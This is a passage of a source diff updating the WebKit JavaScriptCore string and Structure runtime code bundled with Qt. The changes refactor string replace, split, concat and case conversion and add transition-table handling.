+    return JSObject::getOwnPropertyNames(exec, propertyNames, mode);
 }
 
 } // namespace JSC
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/StringObject.h b/src/3rdparty/webkit/JavaScriptCore/runtime/StringObject.h
index 84e1ad2..e3add77 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/StringObject.h
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/StringObject.h
@@ -39,7 +39,7 @@ namespace JSC {
 
         virtual void put(ExecState* exec, const Identifier& propertyName, JSValue, PutPropertySlot&);
         virtual bool deleteProperty(ExecState*, const Identifier& propertyName);
-        virtual void getOwnPropertyNames(ExecState*, PropertyNameArray&);
+        virtual void getOwnPropertyNames(ExecState*, PropertyNameArray&, EnumerationMode mode = ExcludeDontEnumProperties);
 
         virtual const ClassInfo* classInfo() const { return &info; }
         static const JS_EXPORTDATA ClassInfo info;
@@ -48,7 +48,7 @@ namespace JSC {
 
         static PassRefPtr<Structure> createStructure(JSValue prototype)
         {
-            return Structure::create(prototype, TypeInfo(ObjectType, StructureFlags));
+            return Structure::create(prototype, TypeInfo(ObjectType, StructureFlags), AnonymousSlotCount);
         }
 
     protected:
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/StringObjectThatMasqueradesAsUndefined.h b/src/3rdparty/webkit/JavaScriptCore/runtime/StringObjectThatMasqueradesAsUndefined.h
index 69e1939..43c3e38 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/StringObjectThatMasqueradesAsUndefined.h
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/StringObjectThatMasqueradesAsUndefined.h
@@ -44,7 +44,7 @@ namespace JSC {
 
         static PassRefPtr<Structure> createStructure(JSValue proto) 
         { 
-            return Structure::create(proto, TypeInfo(ObjectType, StructureFlags)); 
+            return Structure::create(proto, TypeInfo(ObjectType, StructureFlags), AnonymousSlotCount); 
         }
 
         static const unsigned StructureFlags = OverridesGetOwnPropertySlot | MasqueradesAsUndefined | OverridesGetPropertyNames | StringObject::StructureFlags;
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/StringPrototype.cpp b/src/3rdparty/webkit/JavaScriptCore/runtime/StringPrototype.cpp
index a0cc9f1..bef4083 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/StringPrototype.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/StringPrototype.cpp
@@ -28,7 +28,9 @@
 #include "JSGlobalObjectFunctions.h"
 #include "JSArray.h"
 #include "JSFunction.h"
+#include "JSStringBuilder.h"
 #include "ObjectPrototype.h"
+#include "Operations.h"
 #include "PropertyNameArray.h"
 #include "RegExpConstructor.h"
 #include "RegExpObject.h"
@@ -148,12 +150,11 @@ bool StringPrototype::getOwnPropertyDescriptor(ExecState* exec, const Identifier
 
 // ------------------------------ Functions --------------------------
 
-static inline UString substituteBackreferences(const UString& replacement, const UString& source, const int* ovector, RegExp* reg)
+static NEVER_INLINE UString substituteBackreferencesSlow(const UString& replacement, const UString& source, const int* ovector, RegExp* reg, unsigned i)
 {
-    UString substitutedReplacement;
+    Vector<UChar> substitutedReplacement;
     int offset = 0;
-    int i = -1;
-    while ((i = replacement.find('$', i + 1)) != -1) {
+    do {
         if (i + 1 == replacement.size())
             break;
 
@@ -205,15 +206,21 @@ static inline UString substituteBackreferences(const UString& replacement, const
         i += 1 + advance;
         offset = i + 1;
         substitutedReplacement.append(source.data() + backrefStart, backrefLength);
-    }
-
-    if (!offset)
-        return replacement;
+    } while ((i = replacement.find('$', i + 1)) != UString::NotFound);
 
     if (replacement.size() - offset)
         substitutedReplacement.append(replacement.data() + offset, replacement.size() - offset);
 
-    return substitutedReplacement;
+    substitutedReplacement.shrinkToFit();
+    return UString::adopt(substitutedReplacement);
+}
+
+static inline UString substituteBackreferences(const UString& replacement, const UString& source, const int* ovector, RegExp* reg)
+{
+    unsigned i = replacement.find('$', 0);
+    if (UNLIKELY(i != UString::NotFound))
+        return substituteBackreferencesSlow(replacement, source, ovector, reg, i);
+    return replacement;
 }
 
 static inline int localeCompare(const UString& a, const UString& b)
@@ -221,10 +228,90 @@ static inline int localeCompare(const UString& a, const UString& b)
     return Collator::userDefault()->collate(reinterpret_cast<const ::UChar*>(a.data()), a.size(), reinterpret_cast<const ::UChar*>(b.data()), b.size());
 }
 
+struct StringRange {
+public:
+    StringRange(int pos, int len)
+        : position(pos)
+        , length(len)
+    {
+    }
+
+    StringRange()
+    {
+    }
+
+    int position;
+    int length;
+};
+
+JSValue jsSpliceSubstringsWithSeparators(ExecState* exec, JSString* sourceVal, const UString& source, const StringRange* substringRanges, int rangeCount, const UString* separators, int separatorCount);
+JSValue jsSpliceSubstringsWithSeparators(ExecState* exec, JSString* sourceVal, const UString& source, const StringRange* substringRanges, int rangeCount, const UString* separators, int separatorCount)
+{
+    if (rangeCount == 1 && separatorCount == 0) {
+        int sourceSize = source.size();
+        int position = substringRanges[0].position;
+        int length = substringRanges[0].length;
+        if (position <= 0 && length >= sourceSize)
+            return sourceVal;
+        // We could call UString::substr, but this would result in redundant checks
+        return jsString(exec, UStringImpl::create(source.rep(), max(0, position), min(sourceSize, length)));
+    }
+
+    int totalLength = 0;
+    for (int i = 0; i < rangeCount; i++)
+        totalLength += substringRanges[i].length;
+    for (int i = 0; i < separatorCount; i++)
+        totalLength += separators[i].size();
+
+    if (totalLength == 0)
+        return jsString(exec, "");
+
+    UChar* buffer;
+    PassRefPtr<UStringImpl> impl = UStringImpl::tryCreateUninitialized(totalLength, buffer);
+    if (!impl)
+        return throwOutOfMemoryError(exec);
+
+    int maxCount = max(rangeCount, separatorCount);
+    int bufferPos = 0;
+    for (int i = 0; i < maxCount; i++) {
+        if (i < rangeCount) {
+            UStringImpl::copyChars(buffer + bufferPos, source.data() + substringRanges[i].position, substringRanges[i].length);
+            bufferPos += substringRanges[i].length;
+        }
+        if (i < separatorCount) {
+            UStringImpl::copyChars(buffer + bufferPos, separators[i].data(), separators[i].size());
+            bufferPos += separators[i].size();
+        }
+    }
+
+    return jsString(exec, impl);
+}
+
+JSValue jsReplaceRange(ExecState* exec, const UString& source, int rangeStart, int rangeLength, const UString& replacement);
+JSValue jsReplaceRange(ExecState* exec, const UString& source, int rangeStart, int rangeLength, const UString& replacement)
+{
+    int replacementLength = replacement.size();
+    int totalLength = source.size() - rangeLength + replacementLength;
+    if (totalLength == 0)
+        return jsString(exec, "");
+
+    UChar* buffer;
+    PassRefPtr<UStringImpl> impl = UStringImpl::tryCreateUninitialized(totalLength, buffer);
+    if (!impl)
+        return throwOutOfMemoryError(exec);
+
+    UStringImpl::copyChars(buffer, source.data(), rangeStart);
+    UStringImpl::copyChars(buffer + rangeStart, replacement.data(), replacementLength);
+    int rangeEnd = rangeStart + rangeLength;
+    UStringImpl::copyChars(buffer + rangeStart + replacementLength, source.data() + rangeEnd, source.size() - rangeEnd);
+
+    return jsString(exec, impl);
+}
+
 JSValue JSC_HOST_CALL stringProtoFuncReplace(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
 {
     JSString* sourceVal = thisValue.toThisJSString(exec);
-    const UString& source = sourceVal->value();
+    const UString& source = sourceVal->value(exec);
 
     JSValue pattern = args.at(0);
 
@@ -242,9 +329,9 @@ JSValue JSC_HOST_CALL stringProtoFuncReplace(ExecState* exec, JSObject*, JSValue
         RegExpConstructor* regExpConstructor = exec->lexicalGlobalObject()->regExpConstructor();
 
         int lastIndex = 0;
-        int startPosition = 0;
+        unsigned startPosition = 0;
 
-        Vector<UString::Range, 16> sourceRanges;
+        Vector<StringRange, 16> sourceRanges;
         Vector<UString, 16> replacements;
 
         // This is either a loop (if global is set) or a one-way (if not).
@@ -263,7 +350,7 @@ JSValue JSC_HOST_CALL stringProtoFuncReplace(ExecState* exec, JSObject*, JSValue
                 if (matchIndex < 0)
                     break;
                 
-                sourceRanges.append(UString::Range(lastIndex, matchIndex - lastIndex));
+                sourceRanges.append(StringRange(lastIndex, matchIndex - lastIndex));
 
                 int completeMatchStart = ovector[0];
                 unsigned i = 0;
@@ -281,7 +368,8 @@ JSValue JSC_HOST_CALL stringProtoFuncReplace(ExecState* exec, JSObject*, JSValue
                 cachedCall.setArgument(i++, sourceVal);
                 
                 cachedCall.setThis(exec->globalThisValue());
-                replacements.append(cachedCall.call().toString(cachedCall.newCallFrame()));
+                JSValue result = cachedCall.call();
+                replacements.append(result.toString(cachedCall.newCallFrame(exec)));
                 if (exec->hadException())
                     break;
 
@@ -304,7 +392,7 @@ JSValue JSC_HOST_CALL stringProtoFuncReplace(ExecState* exec, JSObject*, JSValue
                 if (matchIndex < 0)
                     break;
 
-                sourceRanges.append(UString::Range(lastIndex, matchIndex - lastIndex));
+                sourceRanges.append(StringRange(lastIndex, matchIndex - lastIndex));
 
                 if (callType != CallTypeNone) {
                     int completeMatchStart = ovector[0];
@@ -344,19 +432,18 @@ JSValue JSC_HOST_CALL stringProtoFuncReplace(ExecState* exec, JSObject*, JSValue
         if (!lastIndex && replacements.isEmpty())
             return sourceVal;
 
-        if (lastIndex < source.size())
-            sourceRanges.append(UString::Range(lastIndex, source.size() - lastIndex));
+        if (static_cast<unsigned>(lastIndex) < source.size())
+            sourceRanges.append(StringRange(lastIndex, source.size() - lastIndex));
 
-        return jsString(exec, source.spliceSubstringsWithSeparators(sourceRanges.data(), sourceRanges.size(),
-            replacements.data(), replacements.size()));
+        return jsSpliceSubstringsWithSeparators(exec, sourceVal, source, sourceRanges.data(), sourceRanges.size(), replacements.data(), replacements.size());
     }
 
     // Not a regular expression, so treat the pattern as a string.
 
     UString patternString = pattern.toString(exec);
-    int matchPos = source.find(patternString);
+    unsigned matchPos = source.find(patternString);
 
-    if (matchPos == -1)
+    if (matchPos == UString::NotFound)
         return sourceVal;
 
     int matchLen = patternString.size();
@@ -370,7 +457,7 @@ JSValue JSC_HOST_CALL stringProtoFuncReplace(ExecState* exec, JSObject*, JSValue
     }
 
     int ovector[2] = { matchPos, matchPos + matchLen };
-    return jsString(exec, source.replaceRange(matchPos, matchLen, substituteBackreferences(replacementString, source, ovector, 0)));
+    return jsReplaceRange(exec, source, matchPos, matchLen, substituteBackreferences(replacementString, source, ovector, 0));
 }
 
 JSValue JSC_HOST_CALL stringProtoFuncToString(ExecState* exec, JSObject*, JSValue thisValue, const ArgList&)
@@ -422,12 +509,14 @@ JSValue JSC_HOST_CALL stringProtoFuncCharCodeAt(ExecState* exec, JSObject*, JSVa
 
 JSValue JSC_HOST_CALL stringProtoFuncConcat(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
 {
-    UString s = thisValue.toThisString(exec);
+    if (thisValue.isString() && (args.size() == 1)) {
+        JSValue v = args.at(0);
+        return v.isString()
+            ? jsString(exec, asString(thisValue), asString(v))
+            : jsString(exec, asString(thisValue), v.toString(exec));
+    }
 
-    ArgList::const_iterator end = args.end();
-    for (ArgList::const_iterator it = args.begin(); it != end; ++it)
-        s += (*it).toString(exec);
-    return jsString(exec, s);
+    return jsString(exec, thisValue, args);
 }
 
 JSValue JSC_HOST_CALL stringProtoFuncIndexOf(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
@@ -452,7 +541,10 @@ JSValue JSC_HOST_CALL stringProtoFuncIndexOf(ExecState* exec, JSObject*, JSValue
         pos = static_cast<int>(dpos);
     }
 
-    return jsNumber(exec, s.find(u2, pos));
+    unsigned result = s.find(u2, pos);
+    if (result == UString::NotFound)
+        return jsNumber(exec, -1);
+    return jsNumber(exec, result);
 }
 
 JSValue JSC_HOST_CALL stringProtoFuncLastIndexOf(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
@@ -469,12 +561,16 @@ JSValue JSC_HOST_CALL stringProtoFuncLastIndexOf(ExecState* exec, JSObject*, JSV
         dpos = 0;
     else if (!(dpos <= len)) // true for NaN
         dpos = len;
-#if PLATFORM(SYMBIAN)
+#if OS(SYMBIAN)
     // Work around for broken NaN compare operator
     else if (isnan(dpos))
         dpos = len;
 #endif
-    return jsNumber(exec, s.rfind(u2, static_cast<int>(dpos)));
+
+    unsigned result = s.rfind(u2, static_cast<unsigned>(dpos));
+    if (result == UString::NotFound)
+        return jsNumber(exec, -1);
+    return jsNumber(exec, result);
 }
 
 JSValue JSC_HOST_CALL stringProtoFuncMatch(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
@@ -586,7 +682,7 @@ JSValue JSC_HOST_CALL stringProtoFuncSplit(ExecState* exec, JSObject*, JSValue t
 
     JSArray* result = constructEmptyArray(exec);
     unsigned i = 0;
-    int p0 = 0;
+    unsigned p0 = 0;
     unsigned limit = a1.isUndefined() ? 0xFFFFFFFFU : a1.toUInt32(exec);
     if (a0.inherits(&RegExpObject::info)) {
         RegExp* reg = asRegExpObject(a0)->regExp();
@@ -594,7 +690,7 @@ JSValue JSC_HOST_CALL stringProtoFuncSplit(ExecState* exec, JSObject*, JSValue t
             // empty string matched by regexp -> empty array
             return result;
         }
-        int pos = 0;
+        unsigned pos = 0;
         while (i != limit && pos < s.size()) {
             Vector<int, 32> ovector;
             int mpos = reg->match(s, pos, &ovector);
@@ -602,7 +698,7 @@ JSValue JSC_HOST_CALL stringProtoFuncSplit(ExecState* exec, JSObject*, JSValue t
                 break;
             int mlen = ovector[1] - ovector[0];
             pos = mpos + (mlen == 0 ? 1 : mlen);
-            if (mpos != p0 || mlen) {
+            if (static_cast<unsigned>(mpos) != p0 || mlen) {
                 result->put(exec, i++, jsSubstring(exec, s, p0, mpos - p0));
                 p0 = mpos + mlen;
             }
@@ -624,8 +720,9 @@ JSValue JSC_HOST_CALL stringProtoFuncSplit(ExecState* exec, JSObject*, JSValue t
             while (i != limit && p0 < s.size() - 1)
                 result->put(exec, i++, jsSingleCharacterSubstring(exec, s, p0++));
         } else {
-            int pos;
-            while (i != limit && (pos = s.find(u2, p0)) >= 0) {
+            unsigned pos;
+            
+            while (i != limit && (pos = s.find(u2, p0)) != UString::NotFound) {
                 result->put(exec, i++, jsSubstring(exec, s, p0, pos - p0));
                 p0 = pos + u2.size();
             }
@@ -696,7 +793,7 @@ JSValue JSC_HOST_CALL stringProtoFuncSubstring(ExecState* exec, JSObject*, JSVal
 JSValue JSC_HOST_CALL stringProtoFuncToLowerCase(ExecState* exec, JSObject*, JSValue thisValue, const ArgList&)
 {
     JSString* sVal = thisValue.toThisJSString(exec);
-    const UString& s = sVal->value();
+    const UString& s = sVal->value(exec);
 
     int sSize = s.size();
     if (!sSize)
@@ -712,7 +809,7 @@ JSValue JSC_HOST_CALL stringProtoFuncToLowerCase(ExecState* exec, JSObject*, JSV
         buffer[i] = toASCIILower(c);
     }
     if (!(ored & ~0x7f))
-        return jsString(exec, UString(buffer.releaseBuffer(), sSize, false));
+        return jsString(exec, UString::adopt(buffer));
 
     bool error;
     int length = Unicode::toLower(buffer.data(), sSize, sData, sSize, &error);
@@ -722,15 +819,18 @@ JSValue JSC_HOST_CALL stringProtoFuncToLowerCase(ExecState* exec, JSObject*, JSV
         if (error)
             return sVal;
     }
-    if (length == sSize && memcmp(buffer.data(), sData, length * sizeof(UChar)) == 0)
-        return sVal;
-    return jsString(exec, UString(buffer.releaseBuffer(), length, false));
+    if (length == sSize) {
+        if (memcmp(buffer.data(), sData, length * sizeof(UChar)) == 0)
+            return sVal;
+    } else
+        buffer.resize(length);
+    return jsString(exec, UString::adopt(buffer));
 }
 
 JSValue JSC_HOST_CALL stringProtoFuncToUpperCase(ExecState* exec, JSObject*, JSValue thisValue, const ArgList&)
 {
     JSString* sVal = thisValue.toThisJSString(exec);
-    const UString& s = sVal->value();
+    const UString& s = sVal->value(exec);
 
     int sSize = s.size();
     if (!sSize)
@@ -746,7 +846,7 @@ JSValue JSC_HOST_CALL stringProtoFuncToUpperCase(ExecState* exec, JSObject*, JSV
         buffer[i] = toASCIIUpper(c);
     }
     if (!(ored & ~0x7f))
-        return jsString(exec, UString(buffer.releaseBuffer(), sSize, false));
+        return jsString(exec, UString::adopt(buffer));
 
     bool error;
     int length = Unicode::toUpper(buffer.data(), sSize, sData, sSize, &error);
@@ -756,9 +856,12 @@ JSValue JSC_HOST_CALL stringProtoFuncToUpperCase(ExecState* exec, JSObject*, JSV
         if (error)
             return sVal;
     }
-    if (length == sSize && memcmp(buffer.data(), sData, length * sizeof(UChar)) == 0)
-        return sVal;
-    return jsString(exec, UString(buffer.releaseBuffer(), length, false));
+    if (length == sSize) {
+        if (memcmp(buffer.data(), sData, length * sizeof(UChar)) == 0)
+            return sVal;
+    } else
+        buffer.resize(length);
+    return jsString(exec, UString::adopt(buffer));
 }
 
 JSValue JSC_HOST_CALL stringProtoFuncLocaleCompare(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
@@ -774,62 +877,62 @@ JSValue JSC_HOST_CALL stringProtoFuncLocaleCompare(ExecState* exec, JSObject*, J
 JSValue JSC_HOST_CALL stringProtoFuncBig(ExecState* exec, JSObject*, JSValue thisValue, const ArgList&)
 {
     UString s = thisValue.toThisString(exec);
-    return jsNontrivialString(exec, "<big>" + s + "</big>");
+    return jsMakeNontrivialString(exec, "<big>", s, "</big>");
 }
 
 JSValue JSC_HOST_CALL stringProtoFuncSmall(ExecState* exec, JSObject*, JSValue thisValue, const ArgList&)
 {
     UString s = thisValue.toThisString(exec);
-    return jsNontrivialString(exec, "<small>" + s + "</small>");
+    return jsMakeNontrivialString(exec, "<small>", s, "</small>");
 }
 
 JSValue JSC_HOST_CALL stringProtoFuncBlink(ExecState* exec, JSObject*, JSValue thisValue, const ArgList&)
 {
     UString s = thisValue.toThisString(exec);
-    return jsNontrivialString(exec, "<blink>" + s + "</blink>");
+    return jsMakeNontrivialString(exec, "<blink>", s, "</blink>");
 }
 
 JSValue JSC_HOST_CALL stringProtoFuncBold(ExecState* exec, JSObject*, JSValue thisValue, const ArgList&)
 {
     UString s = thisValue.toThisString(exec);
-    return jsNontrivialString(exec, "<b>" + s + "</b>");
+    return jsMakeNontrivialString(exec, "<b>", s, "</b>");
 }
 
 JSValue JSC_HOST_CALL stringProtoFuncFixed(ExecState* exec, JSObject*, JSValue thisValue, const ArgList&)
 {
     UString s = thisValue.toThisString(exec);
-    return jsString(exec, "<tt>" + s + "</tt>");
+    return jsMakeNontrivialString(exec, "<tt>", s, "</tt>");
 }
 
 JSValue JSC_HOST_CALL stringProtoFuncItalics(ExecState* exec, JSObject*, JSValue thisValue, const ArgList&)
 {
     UString s = thisValue.toThisString(exec);
-    return jsNontrivialString(exec, "<i>" + s + "</i>");
+    return jsMakeNontrivialString(exec, "<i>", s, "</i>");
 }
 
 JSValue JSC_HOST_CALL stringProtoFuncStrike(ExecState* exec, JSObject*, JSValue thisValue, const ArgList&)
 {
     UString s = thisValue.toThisString(exec);
-    return jsNontrivialString(exec, "<strike>" + s + "</strike>");
+    return jsMakeNontrivialString(exec, "<strike>", s, "</strike>");
 }
 
 JSValue JSC_HOST_CALL stringProtoFuncSub(ExecState* exec, JSObject*, JSValue thisValue, const ArgList&)
 {
     UString s = thisValue.toThisString(exec);
-    return jsNontrivialString(exec, "<sub>" + s + "</sub>");
+    return jsMakeNontrivialString(exec, "<sub>", s, "</sub>");
 }
 
 JSValue JSC_HOST_CALL stringProtoFuncSup(ExecState* exec, JSObject*, JSValue thisValue, const ArgList&)
 {
     UString s = thisValue.toThisString(exec);
-    return jsNontrivialString(exec, "<sup>" + s + "</sup>");
+    return jsMakeNontrivialString(exec, "<sup>", s, "</sup>");
 }
 
 JSValue JSC_HOST_CALL stringProtoFuncFontcolor(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
 {
     UString s = thisValue.toThisString(exec);
     JSValue a0 = args.at(0);
-    return jsNontrivialString(exec, "<font color=\"" + a0.toString(exec) + "\">" + s + "</font>");
+    return jsMakeNontrivialString(exec, "<font color=\"", a0.toString(exec), "\">", s, "</font>");
 }
 
 JSValue JSC_HOST_CALL stringProtoFuncFontsize(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
@@ -842,7 +945,8 @@ JSValue JSC_HOST_CALL stringProtoFuncFontsize(ExecState* exec, JSObject*, JSValu
         unsigned stringSize = s.size();
         unsigned bufferSize = 22 + stringSize;
         UChar* buffer;
-        if (!tryFastMalloc(bufferSize * sizeof(UChar)).getValue(buffer))
+        PassRefPtr<UStringImpl> impl = UStringImpl::tryCreateUninitialized(bufferSize, buffer);
+        if (!impl)
             return jsUndefined();
         buffer[0] = '<';
         buffer[1] = 'f';
@@ -867,17 +971,17 @@ JSValue JSC_HOST_CALL stringProtoFuncFontsize(ExecState* exec, JSObject*, JSValu
         buffer[19 + stringSize] = 'n';
         buffer[20 + stringSize] = 't';
         buffer[21 + stringSize] = '>';
-        return jsNontrivialString(exec, UString(buffer, bufferSize, false));
+        return jsNontrivialString(exec, impl);
     }
 
-    return jsNontrivialString(exec, "<font size=\"" + a0.toString(exec) + "\">" + s + "</font>");
+    return jsMakeNontrivialString(exec, "<font size=\"", a0.toString(exec), "\">", s, "</font>");
 }
 
 JSValue JSC_HOST_CALL stringProtoFuncAnchor(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
 {
     UString s = thisValue.toThisString(exec);
     JSValue a0 = args.at(0);
-    return jsNontrivialString(exec, "<a name=\"" + a0.toString(exec) + "\">" + s + "</a>");
+    return jsMakeNontrivialString(exec, "<a name=\"", a0.toString(exec), "\">", s, "</a>");
 }
 
 JSValue JSC_HOST_CALL stringProtoFuncLink(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
@@ -890,7 +994,8 @@ JSValue JSC_HOST_CALL stringProtoFuncLink(ExecState* exec, JSObject*, JSValue th
     unsigned stringSize = s.size();
     unsigned bufferSize = 15 + linkTextSize + stringSize;
     UChar* buffer;
-    if (!tryFastMalloc(bufferSize * sizeof(UChar)).getValue(buffer))
+    PassRefPtr<UStringImpl> impl = UStringImpl::tryCreateUninitialized(bufferSize, buffer);
+    if (!impl)
         return jsUndefined();
     buffer[0] = '<';
     buffer[1] = 'a';
@@ -909,7 +1014,7 @@ JSValue JSC_HOST_CALL stringProtoFuncLink(ExecState* exec, JSObject*, JSValue th
     buffer[12 + linkTextSize + stringSize] = '/';
     buffer[13 + linkTextSize + stringSize] = 'a';
     buffer[14 + linkTextSize + stringSize] = '>';
-    return jsNontrivialString(exec, UString(buffer, bufferSize, false));
+    return jsNontrivialString(exec, impl);
 }
 
 enum {
@@ -925,12 +1030,12 @@ static inline bool isTrimWhitespace(UChar c)
 static inline JSValue trimString(ExecState* exec, JSValue thisValue, int trimKind)
 {
     UString str = thisValue.toThisString(exec);
-    int left = 0;
+    unsigned left = 0;
     if (trimKind & TrimLeft) {
         while (left < str.size() && isTrimWhitespace(str[left]))
             left++;
     }
-    int right = str.size();
+    unsigned right = str.size();
     if (trimKind & TrimRight) {
         while (right > left && isTrimWhitespace(str[right - 1]))
             right--;
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/Structure.cpp b/src/3rdparty/webkit/JavaScriptCore/runtime/Structure.cpp
index 65b62f9..6f23c7d 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/Structure.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/Structure.cpp
@@ -77,6 +77,108 @@ static HashSet<Structure*>& ignoreSet = *(new HashSet<Structure*>);
 static HashSet<Structure*>& liveStructureSet = *(new HashSet<Structure*>);
 #endif
 
+static int comparePropertyMapEntryIndices(const void* a, const void* b);
+
+inline void Structure::setTransitionTable(TransitionTable* table)
+{
+    ASSERT(m_isUsingSingleSlot);
+#ifndef NDEBUG
+    setSingleTransition(0);
+#endif
+    m_isUsingSingleSlot = false;
+    m_transitions.m_table = table;
+    // This implicitly clears the flag that indicates we're using a single transition
+    ASSERT(!m_isUsingSingleSlot);
+}
+
+// The contains and get methods accept imprecise matches, so if an unspecialised transition exists
+// for the given key they will consider that transition to be a match.  If a specialised transition
+// exists and it matches the provided specificValue, get will return the specific transition.
+inline bool Structure::transitionTableContains(const StructureTransitionTableHash::Key& key, JSCell* specificValue)
+{
+    if (m_isUsingSingleSlot) {
+        Structure* existingTransition = singleTransition();
+        return existingTransition && existingTransition->m_nameInPrevious.get() == key.first
+               && existingTransition->m_attributesInPrevious == key.second
+               && (existingTransition->m_specificValueInPrevious == specificValue || existingTransition->m_specificValueInPrevious == 0);
+    }
+    TransitionTable::iterator find = transitionTable()->find(key);
+    if (find == transitionTable()->end())
+        return false;
+
+    return find->second.first || find->second.second->transitionedFor(specificValue);
+}
+
+inline Structure* Structure::transitionTableGet(const StructureTransitionTableHash::Key& key, JSCell* specificValue) const
+{
+    if (m_isUsingSingleSlot) {
+        Structure* existingTransition = singleTransition();
+        if (existingTransition && existingTransition->m_nameInPrevious.get() == key.first
+            && existingTransition->m_attributesInPrevious == key.second
+            && (existingTransition->m_specificValueInPrevious == specificValue || existingTransition->m_specificValueInPrevious == 0))
+            return existingTransition;
+        return 0;
+    }
+
+    Transition transition = transitionTable()->get(key);
+    if (transition.second && transition.second->transitionedFor(specificValue))
+        return transition.second;
+    return transition.first;
+}
+
+inline bool Structure::transitionTableHasTransition(const StructureTransitionTableHash::Key& key) const
+{
+    if (m_isUsingSingleSlot) {
+        Structure* transition = singleTransition();
+        return transition && transition->m_nameInPrevious == key.first
+        && transition->m_attributesInPrevious == key.second;
+    }
+    return transitionTable()->contains(key);
+}
+
+inline void Structure::transitionTableRemove(const StructureTransitionTableHash::Key& key, JSCell* specificValue)
+{
+    if (m_isUsingSingleSlot) {
+        ASSERT(transitionTableContains(key, specificValue));
+        setSingleTransition(0);
+        return;
+    }
+    TransitionTable::iterator find = transitionTable()->find(key);
+    if (!specificValue)
+        find->second.first = 0;
+    else
+        find->second.second = 0;
+    if (!find->second.first && !find->second.second)
+        transitionTable()->remove(find);
+}
+
+inline void Structure::transitionTableAdd(const StructureTransitionTableHash::Key& key, Structure* structure, JSCell* specificValue)
+{
+    if (m_isUsingSingleSlot) {
+        if (!singleTransition()) {
+            setSingleTransition(structure);
+            return;
+        }
+        Structure* existingTransition = singleTransition();
+        TransitionTable* transitionTable = new TransitionTable;
+        setTransitionTable(transitionTable);
+        if (existingTransition)
+            transitionTableAdd(std::make_pair(existingTransition->m_nameInPrevious.get(), existingTransition->m_attributesInPrevious), existingTransition, existingTransition->m_specificValueInPrevious);
+    }
+    if (!specificValue) {
+        TransitionTable::iterator find = transitionTable()->find(key);
+        if (find == transitionTable()->end())
+            transitionTable()->add(key, Transition(structure, 0));
+        else
+            find->second.first = structure;
+    } else {
+        // If we're adding a transition to a specific value, then there cannot be
+        // an existing transition
+        ASSERT(!transitionTable()->contains(key));
+        transitionTable()->add(key, Transition(0, structure));
+    }
+}
+
 void Structure::dumpStatistics()
 {
 #if DUMP_STRUCTURE_ID_STATISTICS
@@ -121,7 +223,7 @@ void Structure::dumpStatistics()
 #endif
 }
 
-Structure::Structure(JSValue prototype, const TypeInfo& typeInfo)
+Structure::Structure(JSValue prototype, const TypeInfo& typeInfo, unsigned anonymousSlotCount)
     : m_typeInfo(typeInfo)
     , m_prototype(prototype)
     , m_specificValueInPrevious(0)
@@ -132,7 +234,12 @@ Structure::Structure(JSValue prototype, const TypeInfo& typeInfo)
     , m_isPinnedPropertyTable(false)
     , m_hasGetterSetterProperties(false)
     , m_attributesInPrevious(0)
+    , m_specificFunctionThrashCount(0)
+    , m_anonymousSlotCount(anonymousSlotCount)
+    , m_isUsingSingleSlot(true)
 {
+    m_transitions.m_singleTransition = 0;
+
     ASSERT(m_prototype);
     ASSERT(m_prototype.isObject() || m_prototype.isNull());
 
@@ -154,15 +261,11 @@ Structure::Structure(JSValue prototype, const TypeInfo& typeInfo)
 Structure::~Structure()
 {
     if (m_previous) {
-        if (m_nameInPrevious)
-            m_previous->table.remove(make_pair(m_nameInPrevious.get(), m_attributesInPrevious), m_specificValueInPrevious);
-        else
-            m_previous->table.removeAnonymousSlotTransition(m_anonymousSlotsInPrevious);
+        ASSERT(m_nameInPrevious);
+        m_previous->transitionTableRemove(make_pair(m_nameInPrevious.get(), m_attributesInPrevious), m_specificValueInPrevious);
 
     }
-    
-    if (m_enumerationCache)
-        m_enumerationCache->setCachedStructure(0);
+    ASSERT(!m_enumerationCache.hasDeadObject());
 
     if (m_propertyTable) {
         unsigned entryCount = m_propertyTable->keyCount + m_propertyTable->deletedSentinelCount;
@@ -175,6 +278,9 @@ Structure::~Structure()
         fastFree(m_propertyTable);
     }
 
+    if (!m_isUsingSingleSlot)
+        delete transitionTable();
+
 #ifndef NDEBUG
 #if ENABLE(JSC_MULTIPLE_THREADS)
     MutexLocker protect(ignoreSetMutex);
@@ -273,12 +379,8 @@ void Structure::materializePropertyMap()
 
     for (ptrdiff_t i = structures.size() - 2; i >= 0; --i) {
         structure = structures[i];
-        if (!structure->m_nameInPrevious) {
-            m_propertyTable->anonymousSlotCount += structure->m_anonymousSlotsInPrevious;
-            continue;
-        }
         structure->m_nameInPrevious->ref();
-        PropertyMapEntry entry(structure->m_nameInPrevious.get(), structure->m_offset, structure->m_attributesInPrevious, structure->m_specificValueInPrevious, ++m_propertyTable->lastIndexUsed);
+        PropertyMapEntry entry(structure->m_nameInPrevious.get(), m_anonymousSlotCount + structure->m_offset, structure->m_attributesInPrevious, structure->m_specificValueInPrevious, ++m_propertyTable->lastIndexUsed);
         insertIntoPropertyMapHashTable(entry);
     }
 }
@@ -300,7 +402,7 @@ void Structure::despecifyDictionaryFunction(const Identifier& propertyName)
     ASSERT(isDictionary());
     ASSERT(m_propertyTable);
 
-    unsigned i = rep->computedHash();
+    unsigned i = rep->existingHash();
 
 #if DUMP_PROPERTYMAP_STATS
     ++numProbes;
@@ -318,7 +420,7 @@ void Structure::despecifyDictionaryFunction(const Identifier& propertyName)
